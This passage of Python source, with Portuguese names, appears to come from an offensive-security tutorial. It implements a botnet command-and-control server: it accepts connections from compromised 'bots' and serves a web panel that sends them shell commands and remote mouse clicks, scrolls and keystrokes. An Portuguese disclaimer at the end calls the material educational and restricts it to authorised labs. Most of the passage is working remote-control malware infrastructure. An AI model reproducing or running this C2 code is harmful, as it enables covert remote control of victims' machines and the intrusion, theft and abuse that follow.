servidor.bind(("0.0.0.0", PORTA_C2))
servidor.listen(100)
print(f"[*] Servidor C2 escutando na porta {PORTA_C2}")
while executando:
try:
bot_socket, endereco = servidor.accept()
with lock:
bot_id = len(bots_conectados)
info_bot = {
"id": bot_id,
"nome": f"Bot_{endereco[0]}:{endereco[1]}",
"socket": bot_socket,
"endereco": endereco,
"ativo": True,
"inicio_conexao": time.time(),
"last_cmd_target": "cmd"
}
bots_conectados.append(info_bot)
threading.Thread(target=tratar_bot, args=(bot_socket, endereco, bot_id), daemon=True).start()
except OSError:
break
except Exception as e:
if executando: print(f"[!] Erro ao aceitar conexão: {e}")
servidor.close()
@app.route('/')
def index():
return render_template_string(TEMPLATE_HTML)
@socketio.on('request_bot_list')
def handle_request_bot_list():
notificar_clientes_web()
@socketio.on('send_command')
def handle_send_command(data):
bot_id = int(data['bot_id'])
command = data['command']
target = data.get('target', 'cmd')
info_bot = None
with lock:
if 0 <= bot_id < len(bots_conectados):
info_bot = bots_conectados[bot_id]
info_bot['last_cmd_target'] = target
if info_bot and info_bot["ativo"]:
enviar_comando_para_bot(info_bot["socket"], 0x01, command)
@socketio.on('interaction')
def tratar_interacao(dados):
bot_id = int(dados['bot_id'])
info_bot = None
with lock:
if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]
if info_bot and info_bot["ativo"]:
tipo_interacao = dados['type']
cmd_str = ""
if tipo_interacao == 'CLICK': cmd_str = f"CLICK:{dados['x']},{dados['y']}"
elif tipo_interacao == 'SCROLL': cmd_str = f"SCROLL:{dados['delta']}"
elif tipo_interacao == 'TYPE': cmd_str = f"TYPE:{dados['key']}"
elif tipo_interacao == 'KEY_PRESS': cmd_str = f"KEY_PRESS:{dados['key']}"
if cmd_str:
enviar_comando_para_bot(info_bot["socket"], 0x01, cmd_str)
def sair_graciosamente(sig, frame):
global executando
print("\n[!] Finalizando...")
executando = False
os._exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sair_graciosamente)
threading.Thread(target=iniciar_servidor_c2, daemon=True).start()
socketio.start_background_task(target=background_updater)
print(f"[*] Interface de Controle Web em http://127.0.0.1:{PORTA_WEB}")
socketio.run(app, host='127.0.0.1', port=PORTA_WEB, allow_unsafe_werkzeug=True)
|
Aviso de ética e responsabilidade
Este conteúdo é exclusivamente educacional e foi desenvolvido com o objetivo de demonstrar conceitos técnicos aplicados à segurança da informação. As técnicas, ferramentas e exemplos apresentados têm finalidade didática e são voltados para uso em ambientes controlados, laboratórios autorizados ou testes de segurança com permissão explícita.
O autor deste material não incentiva, autoriza ou se responsabiliza por qualquer uso indevido, ilegal ou mal-intencionado das informações aqui demonstradas. A reprodução ou aplicação prática dos conteúdos fora de um contexto ético e legal pode constituir crime, de acordo com a legislação vigente.
Ao acessar ou utilizar este material, você assume total responsabilidade por suas ações e declara compreender que todo conhecimento de segurança ofensiva deve ser usado com consciência, integridade e respeito à privacidade, à propriedade e à lei.